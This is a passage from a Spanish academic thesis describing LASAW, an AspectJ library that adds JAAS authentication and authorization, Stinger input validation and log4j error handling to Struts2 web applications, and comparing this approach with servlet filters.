antes del comienzo de ejecución de cada método execute(), se toma de la información de 
sesión el usuario y sus roles. Con dicha información y con la URL de la petición se verifica 

public boolean commit() throws LoginException { 
  

    if (succeeded == false) { 
   return false; 
} else { 
   userPrincipal = new LasawPrincipal(username,userId); 
   if (!subject.getPrincipals().contains(userPrincipal)) 
       subject.getPrincipals().add(userPrincipal); 
 groupId=0; 
 //asigno el rol de autenticado al subject creado 
 groupPrincipal = new LasawGrupoPrincipal("autenticado",groupId); 
 if (!subject.getPrincipals().contains(groupPrincipal)) 
      subject.getPrincipals().add(groupPrincipal); 
  

final String TABLE_NAME1 = "grupo"; 
 final String TABLE_NAME2 = "miembroperteneceagrupo"; 
   Connection connection = null; 
   PreparedStatement statement = null; 
   ResultSet resultSet = null; 
   String sql = "SELECT grupo.grupoid, nombregrupo FROM " +  
   TABLE_NAME1 +","+  TABLE_NAME2+  

" WHERE (miembroid = ?) and 
(grupo.grupoid=miembroperteneceagrupo.grupoid)"; 

    try { 
     connection = DBUtils.getConnection(); 
          statement = connection.prepareStatement(sql); 
          statement.setInt(1, userId); 
          resultSet = statement.executeQuery(); 
          while(resultSet.next()) { 

groupId= resultSet.getInt(1); 
groupName=resultSet.getString(2); 
//asigno el rol (grupo) al subject creado 
groupPrincipal = new 

 LasawGrupoPrincipal(groupName,groupId); 
            if (!subject.getPrincipals().contains(groupPrincipal)) 
            subject.getPrincipals().add(groupPrincipal); 
          } 
    } catch(SQLException sqle) { 
   ... 
    } 
  commitSucceeded = true; 
  return true; 
} 

} 
 
public boolean logout() throws LoginException { 

subject.getPrincipals().removeAll(subject.getPrincipals()); 
... 
return true; 

} 
 

} 
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el permiso. En caso de no concederse el permiso, el método doAsPrivileged() de la clase 
Subject dispara una excepción. 

 

 

Código 3: Código aspecto de autenticación y autorización 

 

5.2.3 Aspecto para Manejo Inadecuado de Errores 
 
Para el diseño de esta solución consideramos las dos medidas fundamentales que son recomendadas 
por OWASP para el manejo de errores:  

o Ocultar al usuario los detalles internos de la aplicación, innecesarios, que pueden 
desplegarse en pantalla antes la aparición de un error. 

o Registrar errores o situaciones anormales para poder detectar intentos de ataque o errores 
de implementación. 

 

public aspect AspectoJaas{ 
  

public pointcut ejecucionMetodoExecute():   
execution (public String  ActionSupport+.execute()); 

 
before():  ejecucionMetodoExecute() { 
 //Obtengo la URL del request y el contexto del servlet 
  HttpServletRequest request=ServletActionContext.getRequest(); 
 String requestURI = request.getRequestURI(); 
  ServletContext sc=ServletActionContext.getServletContext(); 
  
  //--Variables JAAS 
 URLPermission per; 
  SecurityManager sm; 
 LoginContext lc=null; 
 Subject s; 
 HttpSession sesion; 
 
 // AUTENTICACION JAAS 
 if (requestURI.endsWith("lasawLogin.action")) { 
     System.out.println("Se trata de la pagina de login/logout: 

 Permiso Concedido"); 
  } else {  

//AUTORIZACION JAAS 
       per=new URLPermission(requestURI); 
       sesion=request.getSession(true); 
       lc=(LoginContext) sesion.getAttribute("javax.security.auth.lc"); 
       s=null; 
       if (lc!=null) { 

  s=lc.getSubject(); 
       } 
       if (System.getSecurityManager() == null) { 

 sm = new SecurityManager(); 
      } else { 

   sm = System.getSecurityManager(); 
       } 
       //Chequeamos que se tenga el permiso de acceso             
       Subject.doAsPrivileged(s, new LasawAction(sm,per),null); 
  System.out.println("Permiso Concedido"); 
 } 
}//fin before 

} 
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Para el registro de los errores utilizamos la herramienta de logging  log4j [LOG4J]. 

Implementación 
 

El aspecto generado al que llamamos AspectoIEH (Código 4) captura todas las 
excepciones disparadas a partir de la ejecución de los Actions. Este aspecto se aplica en 
todos los métodos públicos que retornan java.lang.String en los objetos Actions(subclases 
de ActionSupport)  Al finalizar la ejecución de los Actions, el FilterDispatcher recupera el 
control y recibe un String que representa la siguiente página a desplegar por el cliente web.  

El advice around implementado, realiza un catch  para cada excepción generada por los 
aspectos de seguridad implementados, y un catch para el resto de las excepciones de la 
aplicación. Es allí donde realizamos el logging del error y donde devolvemos el 
java.lang.String que le indica al framework Struts2 a qué páginas JSP transferirle el control. 
A continuación se detallan las páginas JSP de error diseñadas especialmente para nuestra 
solución: 

 
− errorAutenticacion.jsp: Error en el LoginModule de JAAS 

 
− errorUsuarioPasswordIncorrecto.jsp: Información de loguin errónea 

 
− errorValidacion.jsp: Parámetro/s no válido/s 

 
− errorAutorizacion.jsp: Permiso no autorizado 

 
− error.jsp: Errores de la aplicación  

 
 

Como existen dos situaciones anómalas en las cuales JAAS dispara una misma 
excepción LoginException, hemos generado un pointcut extra (catchingErrorsInterno()) 
para capturar uno de esos casos y manejar la excepción disparando una nueva excepción que 
describa mejor la situación.  
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public aspect AspectoIEH { 
  
 private static Logger logger = Logger.getLogger(AspectoIEH.class); 
 
 public pointcut catchingErrors() 
  : execution (public String ActionSupport+.*()); 
 
 String around() : catchingErrors() { 

  try { 
   logger.info("Dentro de catchingErrors() antes de ejecutar 
proceed()"); 
   String ret = proceed(); 
   logger.info("Dentro de catchingErrors() luego de ejecutar 
proceed()"); 
   return ret; 
  }   
  catch (LasawLoginContextException llce) 
  {    
   logger.fatal("No se puede crear el LoginContext. " + 
llce.getMessage()); 
   return "errorInternoLogin"; 
  } 
  catch (ParametroMalformadoException pme ) 
  { 
      //System.out.println("Se encontro uno o mas parámetros 
malformados"); 
   logger.error("ParametroMalformadoException capturada en 
catchingErrors(): ", pme); 
   return "errorValidacion";  
  } 
  catch (FailedLoginException fle) 
  { 
   logger.error("Fallo el login:  " + fle.getMessage()); 
   return "errorUsuarioPasswordIncorrecto"; 
  } 
  catch (LoginException le) { 
  logger.error("Autenticación fallida:  " + le.getMessage()); 
   return "errorAutenticacion";  
  }  
    catch (AccessControlException e)  
   
  { 
    logger.error("Permiso denegado"); 
   return "errorAutorizacion";  
  } 
  catch (SecurityException se) 
  { 
   logger.fatal("No se puede crear el LoginContext. " + 
se.getMessage()); 
   return "errorInternoLogin";  
  }  
  catch (Exception e) { 
   logger.fatal("Exception capturada en catchingErrors(): ", e); 
   return "input"; 
   } 
  } 
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Código 4: Código aspecto de manejo de errores 

 

 

 public pointcut catchingErrorsInterno() 
 : set (private LoginContext LasawLoginAction.lc) ; 
  
 void around() throws LasawLoginContextException:catchingErrorsInterno() 
 { 
  try { 
   proceed(); 
  } catch (LoginException le) { 
   logger.fatal("Error al crear el contexto de login", le); 
   throw new LasawLoginContextException(); 
  } 
 } 
} 
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Capítulo 6 – LASAW: Librería de Aspectos de Seguridad para 

Aplicaciones Web 

Una buena manera de integrar el conjunto de aspectos implementados para dar solución a cuatro de 
las principales vulnerabilidades en aplicaciones web, es construyendo una librería. Es decir 
agrupando  el conjunto de recursos, en nuestro caso aspectos y poniéndolos a disposición del 
programador. Esta nueva librería, a la que denominamos LASAW (Librería de Aspectos de 
Seguridad para Aplicaciones Web) está formada además por otros recursos que facilitan aún más  
el desarrollo de aplicaciones web seguras. 
 

6.1 Soluciones Existentes de Seguridad Basadas en Aspectos  

Huang, Wang y Zhang en su publicación “Toward a Reusable and Generic Security Aspect 
Library” [HUANG], introducen la idea de una librería elemental  de aspectos de seguridad 
denominada JSAL (Java Security Aspect Library), que contiene aspectos reusables y genéricos 
utilizados para construir aplicaciones seguras.  Esta librería fue diseñada siguiendo la metodología 
de desarrollo de software basada en componentes [CBSD], considerándose a JSAL como un 
componente de software a nivel de aspectos. El objetivo de esta librería es implementar aspectos 
de seguridad relacionados con encriptación, autenticación / autorización y auditoria.  Sin 
embargo, la publicación sólo muestra la definición de un aspecto abstracto que provee 
encriptación/desencriptación y un aspecto concreto que lo implementa. 

Otra publicación que trata sobre el desarrollo de soluciones de seguridad mediante aspectos es 
“Using Aspect Programming to Secure Web Applications” [APROSEC]. Allí se menciona el diseño 
e implementación de un aspecto de seguridad llamado AProSec para tratar la inyección SQL y 
XXS (Cross Site Scripting).  
 
 
6.2 Componentes de LASAW 

Las componentes que conforman la librería LASAW son las siguientes: 

6.2.1 Aspectos de seguridad 
 
Es el conjunto de aspectos de seguridad y constituyen el componente fundamental de la librería. 
Estos aspectos son: AspectoJaas que implementa autenticación y control de acceso usando JAAS, 
AspectoValidacion que utiliza el motor de validación Stinger para incorporar validaciones, y 
AspectoIEH que provee manejo de errores. 

 

6.2.2 Aspecto de coordinación 
 
Este aspecto, se encarga de definir el orden de ejecución de los advices de los aspectos de 
seguridad. Por defecto, en AspectJ no existe un orden de precedencia  definido, por lo que si se 
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precisa ejecutar los advices en un determinado orden, es necesario especificarlo con las cláusulas 
declare precedence.  

La semántica de esta cláusula declare precedence es que si un aspecto A precede al aspecto B, 
entonces los advices del aspecto A tienen mayor prioridad y se ejecutan antes que los advices del 
aspecto B.  
La sintaxis de la declaración de precedencia es: 
 

 
 

A continuación mostramos el código de nuestro aspecto de coordinación donde claramente se 
indica la precedencia de los aspectos que conforman LASAW. 
 

  
  

6.2.3 Excepciones LASAW 
 
Son subclases de la clase Exception y representan errores o situaciones “anormales” producidas 
durante la ejecución de los mecanismos de seguridad de LASAW. Dichas clases son: 
LasawLoginContextException y ParametroMalformadoException.  

 

6.2.4 Componente de Presentación LASAW 
 
Es el conjunto de páginas JSP utilizadas en las soluciones de seguridad. Es el caso, por ejemplo, de 
las páginas que permiten el ingreso a un sistema con autenticación o las que muestran errores de 
autorización. Son independientes del mecanismo específico utilizado para implementar la solución 
de seguridad. A continuación enumeramos el conjunto de páginas que conforman LASAW: 
 

• cabeceraLasaw.jsp : Cabecera de página que incluye enlace hacia la página de login e 
información del usuario logueado.  

 
Páginas de error 

• error.jsp 
• errorAutenticacion.jsp 
• errorAutorizacion.jsp 
• errorInternoLogin.jsp 
• errorUsuarioPasswordIncorrecto.jsp 
• errorValidacion.jsp 
 

Página de login 
• lasawLogin.jsp: Permite que el usuario ingrese la información de autenticación 
 

Página de éxito en el inicio de sesión 
• loginExitoso.jsp 

declare precedence: A, B;  //los advices del aspecto A tienen 
//precedencia sobre los advices del aspecto B 

 

public aspect AspectoCoordinacion { 
 declare precedence: AspectoIEH,AspectoValidacion,AspectoJaas; 
} 
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6.2.5 Auxiliares de Seguridad LASAW 
 
Está formado por el conjunto de clases, librerías y archivos de configuración utilizados por las 
soluciones específicas de LASAW. Integran este componente los siguientes archivos, agrupados 
según la solución en la que participan: 
 

Autenticación y autorización basada en JAAS 
 
Archivos de configuración 

• lasaw.policy 
• login.conf 

 
 
Clases 

• LasawLoginAction.class  
• Base64.class 
• Encoder.class 
• LasawAction.class 
• LasawCallbackHandler.class 
• LasawGrupoPrincipal.class 
• LasawLoginModule.class 
• LasawPrincipal.class 
• URLPermission.class 
• DBConnectionManager.class 
• DBOptions.class 
• DBUtils.class 

 
  

Validación con Stinger 
 
Archivos de configuración 
 

 
• stingerLasaw.xml 

 
Librería  

• Stinger-2.5.jar ,  
 
            que incluye las siguientes clases: 

     
• Category.class 
• Severity.class 
• Stinger.class 
• StingerFilter.class 
• MutableHttpRequest.class 
• Rule.class 
• RuleSet.class 
• AbstractAction.class 
• Drop.class 
• Encode.class 
• Forward.class 
• Invalidate.class 
• Log.class 
• Redirect.class 
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Logging con Log4j 
 
Archivos de configuración 
 

 
• log4j.xml 

 
Librería 
 

 
• log4j-1.2.15.jar 

 
 

Clases  
 

 
• LasawRepositorySelector.class 
• Log4jSelectorListener.class 

   
 
   

    
6.3 Modo de distribución de LASAW 

Para una mejor distribución de la librería LASAW, los aspectos y clases que la componen fueron 
compilados y luego almacenados en un archivo JAR: lasaw.jar. Esto es posible ya que AspectJ 
provee la posibilidad de precompilar los aspectos en archivos “.class” para luego ser incorporados 
(weaving) a clases que pueden estar o no compiladas. 

También se provee otro jar, presentacionLasaw.jar, el cual se corresponde con el Componente 
de Presentación LASAW e incluye el conjunto de páginas JSP utilizadas en las soluciones de 
seguridad. 

A continuación presentamos la estructura del archivo lasaw.jar: 
 

 
Figura 11. Estructura de lasaw.jar 
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6.4 Requerimientos y Modo de Utilización de LASAW 

En esta sección explicaremos como incorporar LASAW a una aplicación realizando un weaving en 
tiempo de compilación (compile-time weaving). Se trata del caso en que disponemos del código 
fuente de la aplicación a segurizar, y los aspectos en forma binaria. 

La librería de aspectos LASAW está diseñada, en un principio, para segurizar aplicaciones 
web que utilizan el framework Struts2  [STRUTS2]. 
Los pasos a seguir para incorporar y utilizar LASAW durante la etapa de desarrollo de una 
aplicación web son los siguientes: 
 
La siguiente secuencia de pasos son explicados para el IDE Eclipse. Consideremos  que se instaló el 
plugin AJDT: AspectJ Development Tools [AJDT]. 
 

Convertir el proyecto web de la aplicación a segurizar en un proyecto AspectJ: AspectJ 
Tools -> Convert to AspectJ Project. 

 
Copiar al directorio WEB-INF/lib de la aplicación el archivo lasaw.jar 
correspondiente a  la librería de aspectos. 

 
Agregar dentro del “AspectJ Aspect Path” del proyecto, la referencia al archivo 
lasaw.jar copiado anteriormente. 

 
Descomprimir el “jar de presentación” (presentacionLasaw.jar) dentro del proyecto. 
Se generará un directorio lasaw que incluye páginas jsp. 

 
En el archivo xml de configuración  de la aplicación Struts2, es necesario realizar las 
siguientes modificaciones: 

 
Agregar tags de resultado "errorValidacion" y  “errorAutorizacion” de manera que 
la aplicación pueda redireccionar a las páginas de LASAW en caso de error. 

 
 
 

 
       

 
 
Esto permite la redirección a las páginas provistas por LASAW, en caso de 

producirse algún error. 
 
 
 

Agregar la acción perteneciente al login provisto por LASAW 
 

<result name="errorValidacion"> 
/lasaw/errorValidacion.jsp 

</result> 
<result name="errorAutorizacion"> 

/lasaw/errorAutorizacion.jsp 
</result> 
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Esto habilita el acceso al login a través de la URL: 

http://servidor:8080/nombre_de_contexto_de_la_aplicacion/ lasawLogin.action 
 
 

Compilar el proyecto completo y generar el archivo war (Web ARchive) de la 
aplicación web. 

 

<action name="lasawLogin!*" class="org.lasaw.LasawLoginAction" 
method="{1}"> 

<result name="success">/lasaw/lasawLogin.jsp</result> 
<result name="input">/lasaw/lasawLogin.jsp</result> 
<result name="logout" type="redirect">lasawLogin.action</result> 
<result name="errorInternoLogin">/lasaw/errorInternoLogin.jsp</result> 
<result name="errorAutenticacion">/lasaw/errorAutenticacion.jsp</result> 
<result name="loginExitoso">/lasaw/loginExitoso.jsp</result> 
<result name="errorUsuarioPasswordIncorrecto"> 

/lasaw/errorUsuarioPasswordIncorrecto.jsp 
   </result> 

<result name="errorAutorizacion">/lasaw/errorAutorizacion.jsp</result> 
</action> 
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Figura 12. Organización de un proyecto eclipse que utiliza LASAW 

 

¿Cómo utilizar el mecanismo de validación?   
  
Editar el archivo de configuración de Stinger, "stingerLasaw.xml", provisto por LASAW, y 
agregar las reglas de validación correspondientes según la aplicación. Luego debe ser ubicado 
en el directorio WEB-INF de la aplicación web (ver figura 11). 

¿Cómo utilizar el mecanismo de logging en el manejo de errores? 
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Instalar y configurar la librería LOG4J [LOG4J], usada para realizar logging en aplicaciones. 
Agregar en el archivo web.xml de la aplicación web los siguientes elementos xml: 
 
<context-param> 
  <param-name>log4jXmlPathFile</param-name> 
  <param-value>Ruta_al_archivo_log4j.xml</param-value> 
</context-param> 
<listener> 
  <listener-class> 
org.lasaw.log4j.listener.Log4jSelectorListener 
</listener-class> 
</listener> 
 

En en jar de la librería LOG4J se provee un archivo log4j.xml de ejemplo. Allí es posible 
especificar la ubicación y nombre del archivo de logs que se generará. 

¿Cómo utilizar el mecanismo de Autenticación y Control de acceso? 
 
• Crear un archivo de políticas (.policy) y agregar los permisos deseados. 
 

Ejemplo: 
 

 
 
En este ejemplo se otorga permiso a los usuarios autenticados a que accedan a la URL 
"/foroSeguro/listarForos.action”.  Un archivo de políticas contiene cero o mas entradas 
grant. La palabra reservada  grant otorga un conjunto de permisos a uno o más 
Principals (ver sección 5.1.2). Dichos permisos son especificados con la palabra 
reservada permission. [POL]    

 LASAW provee un archivo de políticas de ejemplo: lasaw.policy 
 
 
• Pasar a la Java Virtual Machine (JVM) los siguientes parámetros, necesarios para la 
funcionalidad de JAAS.  
 

 
 

LASAW provee el archivo login.conf .  
 
• En las páginas de la aplicación web, opcionalmente se puede incluir la página  
"cabeceraLasaw.jsp”. A partir de allí, es posible incluir el acceso a las páginas de login, 
logout e información sobre el usuario que inició sesión en el sistema. 
 
• Sobrescribir el método verificarPassword() de la clase LasawLoginModule (generando una 
subclase)  e implementar la forma deseada de chequear la clave de acceso al sistema.  

java.security.policy=<ubicacion y nombre del archivo .policy generado> 
java.security.auth.login.config=login.conf 

 

grant Principal lasaw.jaas.LasawGrupoPrincipal "autenticado" { 

   permission lasaw.jaas.URLPermission "/foroSeguro/listarForos.action"; 

 };



 82 

Capítulo 7 – GLASAW: LASAW Genérica 
 

7.1 Mecanismos de AspectJ que favorecen la generalización 
 
AspectJ soporta definiciones abstractas de pointcuts. Los pointcuts abstractos son definidos sin 
un cuerpo y sólo pueden ser declarados dentro de aspectos abstractos.  Este tipo de pointcut puede 
sobreescribirse generando un aspecto que extienda el aspecto abstracto. 

El siguiente ejemplo muestra un aspecto A abstracto que no provee una definición para el 
pointcut invocacionPublica(int i). El aspecto B que lo extiende, debe definir cada pointcut 
abstracto de A: 

 

 
Con este mecanismo, es posible construir un aspecto general y redefinir los pointcuts abstractos de 
acuerdo a una aplicación específica [DEWIN]. 

 
 

7.2 Identificación de puntos variables 
 
Para lograr una librería genérica es necesario generalizar cada una de las soluciones de seguridad 
elegidas para el desarrollo de nuestra librería LASAW. Para ello, es necesario identificar los puntos 
donde se desea la personalización o “customización” del aspecto. Dichos lugares reciben el nombre 
de “hot spots”. A continuación se describen los “hot spots” que identificamos en los aspectos 
pertenecientes a LASAW: 
 

• Primero, se desea soportar la variación de los lugares donde los aspectos van a ser 
aplicados. Esto se logra especificando pointcuts abstractos y permitiendo luego su 
sobreescritura. 

• Segundo, cuando se desea intercambio funcional (por ejemplo intercambiar entre 
diferentes motores de validación), la implementación de la funcionalidad es extraída del 
código del aspecto con la forma de un “mecanismo abstracto”, de acuerdo al patrón de 
diseño “Strategy” [JOHN]. 

 
De esta manera, para usar la librería genérica, se deberían extender los aspectos abstractos 
sobreescribiendo los pointcuts abstractos heredados, y optar entre hacer uso de algunos de los 
mecanismos de seguridad provistos por la librería o implementar un mecanismo adicional.  

 

  abstract aspect A { 
      abstract pointcut invocacionPublica (int i); 
  } 
 
  aspect B extends A { 
      pointcut invocacionPublica(int i):  

call(public Foo.m(int)) && args(i); 
  } 
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7.3 Generalizando un Aspecto de LASAW 
 
Para mostrar la generalización de los aspectos, tomaremos nuestro aspecto específico de validación 
AspectoValidacion perteneciente a la librería LASAW. 

 

 

 
AspectoValidacion  implementa un pointcut que hace “matching” con la ejecución de acciones 

de Struts 2.  Es deseable que haya variabilidad en este punto, por lo que debería definirse un 
pointcut abstracto, permitiendo así que el programador seleccione los lugares donde se desea 
realizar la validación. 

Por otro lado necesitamos que el programador pueda optar entre diferentes implementaciones o 
estrategias de validación. Para ello, creamos una clase Validador que puede ser usada con 
diferentes implementaciones (patrón de diseño Strategy  [JOHN]) para obtener los requerimientos 
y respuestas, y para realizar la validación. 

Siguiendo estos dos pasos, logramos un aspecto como el siguiente: 

public aspect AspectoValidacion{ 

 
public pointcut ejecucionMetodoExecute():  

execution (public String  ActionSupport+.execute()); 
 
 before() throws Exception: ejecucionMetodoExecute() { 
 

HttpServletRequest request=ServletActionContext.getRequest(); 
   
ServletContext context = ServletActionContext.getServletContext(); 
String webINF = context.getRealPath("WEB-INF") + "/"; 
String configFile=webINF+"stingerLasaw.xml"; 
Stinger stinger = null; 
MutableHttpRequest mRequest = null; 
HttpServletResponse hResponse = null; 
 
stinger = new Stinger(new RuleSet(configFile, context),context); 
mRequest = new MutableHttpRequest(request); 
hResponse = (HttpServletResponse)ServletActionContext.getResponse(); 
 
int retval=stinger.validate(mRequest, hResponse); 
 
switch(retval) { 
 case AbstractAction.DROP: 
  throw new ParametroMalformadoException() ; 
 case AbstractAction.CONTINUE: 
 case AbstractAction.PROCESS: 
 default: 
  break; 
} 

 } 
} 
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Para utilizar el aspecto genérico es necesario extenderlo, esto es, definir un subaspecto y 
declarar un pointcut concreto de acuerdo a las necesidades. Opcionalmente se puede cambiar la 
estrategia utilizada en la solución. 

 

 

public abstract aspect AspectoValidacionGenerico 

{ 

public abstract pointcut ejecucionMetodo(); 
 
before() throws Exception: ejecucionMetodo() { 

 
HttpServletRequest request=Validador.obtenerRequest(); 
HttpServletResponse response =Validador.obtenerResponse(); 
int retval=Validador.validar(request,response); 
switch(retval) { 

case AbstractAction.DROP: 
 throw new ParametroMalformadoException() ; 

case AbstractAction.CONTINUE: 
case AbstractAction.PROCESS: 
default: 
 break; 

} 
         

} 
} 
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Capítulo 8 – Servlets Filtros y Aspectos 
 
8.1 El patrón Interceptor 

8.1.1 Componentes 
 
El patrón de diseño Interceptor [IDP] está construido por tres componentes básicos: 
 

1. Interface IInterceptor 
 
2. Dispatcher 

 
3. Context 

 
 

 

 
Figura 13. Patrón Interceptor 

 
 

• Interface IInterceptor: Puede definir un número arbitrario de operaciones que son 
ejecutadas por él en casos específicos. Típicamente para cada método tiene un 
parámetro que contiene los datos de entrada y salida. La interface es implementada 
entonces por Interceptores específicos (de logging, autorización, transacción, etc.). 

 
• Dispatcher: la clase Dispatcher típicamente implementa la interface IInterceptor. 

Existen múltiples maneras de implementar el “dispatching”. Por ejemplo, los 
interceptores invocados por el Dispatcher pueden ser priorizados, o las excepciones 
disparadas desde el interceptor pueden ser manejadas como terminación de la 
intercepción. El Dispatcher es la clase que es invocada desde el “punto de 
intercepción” para realizar la intercepción.  
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• Context: es simplemente un objeto de datos, que es utilizado para llevar información 

hacia los interceptores, o para mantener los resultados de la intercepción. Puede 
haber diferentes implementaciones de Context, no sólo para diferentes interfaces 
IInterceptor, sino también para diferentes métodos dentro de la interface 
IInterceptor. 

 
 
A continuación se muestra un diagrama de secuencia correspondiente a los pasos que se siguen 
cuando se alcanza un punto de intercepción. 
 
 

 
Figura 14. Secuencia de ejecución desde un punto de intercepción 

 
 

8.2 Aspectos y su relación con el Patrón Interceptor 
 
La manera de pensar en POA es considerarlo similar al patrón de diseño Interceptor en la 
programación orientada a objetos. El patrón Interceptor permite agregar código entre un objeto que 
hace una invocación y el objeto que recibe dicha invocación, de manera que pueda filtrarse o actuar 
sobre las invocaciones antes de que sean servidas.  

En POA un interceptor recibe el nombre de aspecto, y el lugar del programa donde es usado se 
denomina pointcut. 
 
 
8.3 Patrón J2EE: Filtro Interceptor 
 
El filtro interceptor [FIL] cae en la categoría de los llamados “patrones de diseño J2EE”. Este 
patrón surge de la necesidad de realizar un pre-procesamiento y/o post-procesamiento de las 
peticiones y respuestas del cliente web. 
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8.3.1 Componentes 
 

El patrón de diseño filtro interceptor está constituido por cinco componentes básicos: 
 

1. FilterManager 
 
2. FilterChain 

 
3. Interface IFilter 

 
4. Context 

 
5. Interface ITarget 

 
 

 

 
Figura 15. Patrón Filtro Interceptor 

 
• FilterManager o Manejador del Filtro: es usado por el cliente como una interface para 

procesar alguna operación objetivo (representada por la interface ITarget) en un contexto 
específico (representado por la interface Context). FilterManager es responsable de la 
creación de la cadena de filtros, su configuración y su ejecución. 

 
• FilterChain o Cadena de Filtros: es básicamente una lista que contiene un conjunto de 

filtros y el objetivo, con una lógica de cola de filtros muy simple. 
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• Interface IFilter: esta interface tiene sólo un método doFilter(…) que realiza algún pre-

procesamiento, y si todo está correcto entonces invoca a la cadena de filtros para seguir 
con el procesamiento del siguiente filtro. Si algo anda mal (por ejemplo datos incorrectos o 
datos faltantes en el contexto) entonces  se retorna o se dispara una excepción. 
Cuando se llega al objetivo atravesando la cadena de filtros, el objetivo es procesado, y el 
hilo de ejecución retorna y así es posible hacer algún post-procesamiento en cada filtro, 
durante el cual se pueden hacer cambios al contexto. 

 
• Context: la clase Context debería ser considerada conceptual, debido a que puede 

pertenecer a cualquier clase o puede ser un conjunto de clases. Por ejemplo la 
implementación del patrón filtro interceptor definida por SUN MICROSYSTEM incluye 
ServletRequest junto con ServletResponse. 

 
• ITarget Interface o Interface ITarget: esta interface debería ser implementada como 

receptora de mensajes o como su “wrapper”. 
 
A continuación se muestra un diagrama de secuencia correspondiente a los pasos que se siguen 
desde que se crea una cadena de intercepción hasta que la misma retorna el control al cliente. 
 

 
 

Figura 16. Secuencia de pasos para la creación de una cadena de filtros y su ejecución. 
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8.4 Servlets Filtros y el Patrón Filtro Interceptor 
 
La API  de SERVLETS Filtros fue introducida en la especificación Servlet 2.3 [SERV23] y está 
definida por las interfaces Filter, FilterChain (cadena de filtros) y FilterConfig (configuración de 
filtro) en el paquete javax.servlet. Dicha API es una implementación directa del patrón de diseño 
Filtro Interceptor. La definición de un filtro se realiza implementando la interface Filter. Una 
cadena de filtros, pasada a un filtro por el contenedor web, provee un mecanismo para invocar una 
serie de filtros. Una configuración de filtro contiene datos de inicialización. El método más 
importante en la interface Filter es el método doFilter(), que es el corazón del servlet filtro. Los 
filtros interceptan requerimientos a una aplicación web de acuerdo a un patrón de url especificado 
en el archivo web.xml. [CARP]  

 
8.5 Diferencias entre Servlets Filtros y POA 
POA provee un framework similar a los Servlets Filtros, excepto que en POA es posible crear 
interceptores para cualquier método de cualquier objeto de una aplicación. Los lenguajes de POA, 
específicamente AspectJ no son específicos para aplicaciones web.  

Veamos ahora en el caso de aplicaciones web, qué diferencias encontramos entre tratar las 
vulnerabilidades ya mencionadas usando servlets filtros y  aspectos: 

8.5.1 Validación en aplicaciones web Java 
 
La validación de los parámetros recibidos por una aplicación debe realizarse antes de que estos sean 
usados. En el caso de los Servlets Http ([SERV]), los parámetros del usuario son  capturados en un 
objeto HTTPRequest. Estos parámetros pueden ser validados mediante Servlets Filtros que 
intercepten las peticiones y verifiquen que los datos no son dañinos para la aplicación. Con el uso 
de servlets filtros nos aseguramos que esa validación se realiza en el punto de entrada de la 
aplicación, de manera de poder rechazar los datos, en caso de tener que hacerlo, lo antes posible, sin 
realizar procesamiento innecesario. 

Como sabemos, con POA se pueden realizar intercepciones en cualquier parte de la aplicación y 
como ya hemos demostrado constituye una posibilidad viable para realizar validaciones.  
En este caso el uso de POA no parece agregar beneficios, incluso muchos desarrollados mencionan 
su preferencia a usar Servlets Filtros por estar definidos “más cerca” del dominio de la aplicación 
web (URLs, requerimientos, repsuestas) [FVSA]. 
 

8.5.2 Autenticación y Autorización 
 
La solución que hemos propuesto para tener un mecanismo de autenticación y control de acceso en 
nuestro Foro Vulnerable es una seguridad a nivel de página (o seguridad de grano grueso). Un 
usuario tendrá o no permisos para acceder a una determinada URL dentro de la aplicación.  
Este tipo de seguridad, al estar basada en parámetros del requerimiento, puede ser también 
implementada utilizando Servlets Filtros.  Veamos el esquema de una solución con un servlet 
filtro: 
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Ahora analicemos que sucedería si quisiéramos implementar seguridad de granularidad más fina, 
como por ejemplo a nivel de invocación de métodos o nivel de instancia. La seguridad a nivel de 
invocación de métodos controla el acceso a ciertos métodos de acuerdo a los permisos del usuario 
que realiza la invocación. La seguridad a nivel de instancia es un mecanismo de autorización para 
proteger el acceso a recursos basándose en la identidad del recurso. [ACEGI]  

Mostramos a continuación ejemplos de estos niveles de seguridad: 

Seguridad a nivel de invocación de método 
public void getData() ->acceso permitido para todos los usuarios 
public void modifyData() -> solo acceso permitido para el supervisor 

Seguridad a nivel de instancia de objeto 
order.getValue() < $100 -> accesible para todos los usuarios 
order.getValue() > $100 -> accesible sólo para el supervisor 

 
 

En estos casos, los Servlets Filtros no son útiles ya que sólo trabajan a nivel de los 
requerimientos hechos por el navegador web al servidor y las respuestas enviadas por servidor. Para 
poder interceptar invocaciones a métodos o accesos a instancias de objetos es necesario usar POA. 
 

public class FiltroSeguridad implements Filter { 
 

public void doFilter(ServletRequest req, ServletResponse res, 
                    FilterChain chain) throws IOException, ServletException { 
        . . . 
        //Se obtiene el perfil de seguridad del usuario desde la sesión  
        //Si la sesión es inválida, se lo redirecciona a una pagina de loguin 
        SecurityHelper perfilSegu = session.getAttribute(SECURITY_PROFILE); 
        . . . 
        //Se verifica el permiso del usuario para acceder a la URL actual 
        accesoPermitido = perfilSegu.isAccessAllowed(requerimientoURL); 
        if(accesoPermitido) { 

//SI el usuario está permitido a acceder a la URL 
//, el flujo de la aplicación sigue normalmente           
chain.doFilter(request, response); 

        }  
        else{ 

//Si el usuario no tiene permisos para acceder,  
//se lo puede dirigir a una página de error          
response.sendRedirect("AcceoDenegado.jsp"); 

        } 
 }  

      . . . 
  } 
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8.5.3 Manejo de errores 
 
La diferencia entre la captura con servlets filtros y la hecha con aspectos, es que en este último 
caso, al poder capturar las excepciones en clases internas de la aplicación y obtener información del 
contexto donde se producen los errores, es posible lograr un “logging” más preciso para un análisis 
posterior exhaustivo y puntual. En el caso de los servlets filtros queda claramente evidenciado que 
la granularidad que se logra es únicamente por cada requerimiento HTTP que pasa por un servlet 
filtro. En cambio con aspectos se puede lograr un manejo de errores más sólido y de mayor nivel 
de profundidad, inclusive hasta dentro de la lógica de negocios, y de esta manera se logra un mayor 
control sobre los errores que se propagan, los mensajes o la información que contienen los mismos. 

Por ejemplo, en Foro Vulnerable se tiene una misma excepción que es lanzada cuando el 
usuario ingresa su identificación o password inválido como cuando se produce un error al intentar 
generar el contexto de loguin. En este caso, si la excepción es capturada en un servlet filtro, no se 
puede hacer distinción del tipo del error que se ha producido; con aspectos se podría detectar cada 
punto de partida de esta excepción y lograr diferentes caminos o hacer un logging más puntual y 
preciso. 

Otro punto a tener en cuenta es que con aspectos se puede lograr un manejo de errores a nivel 
de Interfaces de Java, creando aspectos sobre las mismas, sin saber a priori quienes pueden llegar a 
ser los que implementan finalmente dichas interfaces. 
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Capítulo 9 – Conclusión 
 

Usando Programación Orientada a Aspectos (POA), claramente se logra mejorar la 
modularidad de las aplicaciones, pudiendo estas últimas alcanzar dos dimensiones: una estructural 
